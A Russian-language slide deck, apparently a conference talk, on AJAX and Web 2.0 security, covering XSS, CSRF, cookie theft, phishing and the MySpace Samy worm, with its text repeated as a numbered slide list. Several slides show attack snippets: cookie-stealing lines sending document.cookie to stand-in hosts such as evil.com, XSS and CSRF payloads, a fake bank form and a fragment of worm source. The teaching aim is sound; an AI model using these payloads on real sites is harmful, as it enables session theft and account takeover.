Безопасность AJAX “ Web 2.0” Security Капранов Алексей программист, Рамблер [email_address]
Цель доклада Каковы основные угрозы и атаки? Что нового принёс т.н. AJAX? Попугать. Немножко развлечь.
Картинка с http://myappsecurity.blogspot.com/
Веб  —  основное приложение современного Интернета. Веб  —  самое незащищённое приложение Интернета. 1 браузер, 1 протокол, 1 ОС, 2 языка; огромная площадь атаки; поисковые системы; армия  script   kiddies. Веб надо защищать
Полимеры 90% веб-сайтов (в UK) содержат уязвимости (по данным NTA Monitor). Google  находит почти 2 миллиона публичных инсталляций phpBB. CERT опубликовал  advisory  на XSS 02.02.2000, xss в mail.li.ru за 30 секунд.
Новая цель — пользователь Атаки на приложение code, SQL injection Атаки на пользователей Имперсонация Захват браузера Фишинг Кража данных См. OWASP Top Ten 2007.
По данным Sokr.Ru: АЯКС — Авторитет, Ясность, Компетентность, Содействие
Hey, Jacks AJAX не создаёт новых уязвимостей (теоретически). AJAX — дополнительный инструмент хакера. XmlHttpRequest — не единственный реквестор (Flash, <script src=''> etc.) Далее будут пары блоков: «было» vs. «стало».
XSS (Cross Site Scripting) s.cgi?q=<script>alert('XSS')</script> img1.src='evil.com?' + cookie; Захват браузера (Carnaval, AttackAPI) setTimeout loop + remote reqs JS-код Браузер злодей.com/control.cgi
 
XSS <script> var re = /<?= $text ?>/; </script> $text = q{a/;alert(42);/}; <script> var re = /a/; alert(42);//; </script> HTML-эскейпинга недостаточно!
CSRF (X Site Request Forgery) <img src='http://site.ru/cmnt.cgi?text=Preved'> <form action='http://site.ru/zap_db.cgi'> <iframe src='http://site.ru/show_password.cgi'> клиентские POST <script src=.../ajax-response />
CSRF <script src=.../ajax-response> JS код JSON данные (требуется подмена конструктора) Классическая атака на Gmail, январь 2006. Уязвимы некоторые вебмейлы Рунета.
CSRF <form action=zap_db.cgi> <input type=hidden name=key value='secret_jkd7834hj70jk'> Не работает: XmlHttpRequest * mhtml MSIE vuln = клиентский GET любого документа. Уязвимы все формы Интернета.
All your cookies are belong to us img1.src = 'http://негодяй.com/' + document.cookie; Защита: httponly cookies. Не работает: XST. TRACE / HTTP/1.1 Cookies: XHR сервер ИЛИ squid
Фишинг <a href=http://злодей.com/bank.html> Click to Enter YOUR Bank!!</a> <form action=http://фантомас.com> Введите номер кредитки: <input> XSS+AJAX = эмуляция банка на JavaScript, передаваемая в URL!
 
Javascript is the new shellcode MySpace worm, «samy is my hero», октябрь 2004 {var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var  По данным OWASP в 2007 г. XSS обогнала shell & sql injections.
О чём не рассказано OpenID — мечта фишера. XSS в RSS. Перенос доверия сервиса на UGC (инцидент с NetVibes). Атаки на client-side persistence (visited links, cache).
Примеры Drive-by Pharming. MySpace worm «samy is my hero», миллион «френдов» за сутки.
Вопросы?

AJAX Security

  • 1.
    Безопасность AJAX “Web 2.0” Security Капранов Алексей программист, Рамблер [email_address]
  • 2.
    Цель доклада Каковыосновные угрозы и атаки? Что нового принёс т.н. AJAX? Попугать. Немножко развлечь.
  • 3.
  • 4.
    Веб — основное приложение современного Интернета. Веб — самое незащищённое приложение Интернета. 1 браузер, 1 протокол, 1 ОС, 2 языка; огромная площадь атаки; поисковые системы; армия script kiddies. Веб надо защищать
  • 5.
    Полимеры 90% веб-сайтов(в UK) содержат уязвимости (по данным NTA Monitor). Google находит почти 2 миллиона публичных инсталляций phpBB. CERT опубликовал advisory на XSS 02.02.2000, xss в mail.li.ru за 30 секунд.
  • 6.
    Новая цель —пользователь Атаки на приложение code, SQL injection Атаки на пользователей Имперсонация Захват браузера Фишинг Кража данных См. OWASP Top Ten 2007.
  • 7.
    По данным Sokr.Ru:АЯКС — Авторитет, Ясность, Компетентность, Содействие
  • 8.
    Hey, Jacks AJAXне создаёт новых уязвимостей (теоретически). AJAX — дополнительный инструмент хакера. XmlHttpRequest — не единственный реквестор (Flash, <script src=''> etc.) Далее будут пары блоков: «было» vs. «стало».
  • 9.
    XSS (Cross SiteScripting) s.cgi?q=<script>alert('XSS')</script> img1.src='evil.com?' + cookie; Захват браузера (Carnaval, AttackAPI) setTimeout loop + remote reqs JS-код Браузер злодей.com/control.cgi
  • 10.
  • 11.
    XSS <script> varre = /<?= $text ?>/; </script> $text = q{a/;alert(42);/}; <script> var re = /a/; alert(42);//; </script> HTML-эскейпинга недостаточно!
  • 12.
    CSRF (X SiteRequest Forgery) <img src='http://site.ru/cmnt.cgi?text=Preved'> <form action='http://site.ru/zap_db.cgi'> <iframe src='http://site.ru/show_password.cgi'> клиентские POST <script src=.../ajax-response />
  • 13.
    CSRF <script src=.../ajax-response>JS код JSON данные (требуется подмена конструктора) Классическая атака на Gmail, январь 2006. Уязвимы некоторые вебмейлы Рунета.
  • 14.
    CSRF <form action=zap_db.cgi><input type=hidden name=key value='secret_jkd7834hj70jk'> Не работает: XmlHttpRequest * mhtml MSIE vuln = клиентский GET любого документа. Уязвимы все формы Интернета.
  • 15.
    All your cookiesare belong to us img1.src = 'http://негодяй.com/' + document.cookie; Защита: httponly cookies. Не работает: XST. TRACE / HTTP/1.1 Cookies: XHR сервер ИЛИ squid
  • 16.
    Фишинг <a href=http://злодей.com/bank.html>Click to Enter YOUR Bank!!</a> <form action=http://фантомас.com> Введите номер кредитки: <input> XSS+AJAX = эмуляция банка на JavaScript, передаваемая в URL!
  • 17.
  • 18.
    Javascript is thenew shellcode MySpace worm, «samy is my hero», октябрь 2004 {var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var По данным OWASP в 2007 г. XSS обогнала shell & sql injections.
  • 19.
    О чём нерассказано OpenID — мечта фишера. XSS в RSS. Перенос доверия сервиса на UGC (инцидент с NetVibes). Атаки на client-side persistence (visited links, cache).
  • 20.
    Примеры Drive-by Pharming.MySpace worm «samy is my hero», миллион «френдов» за сутки.
  • 21.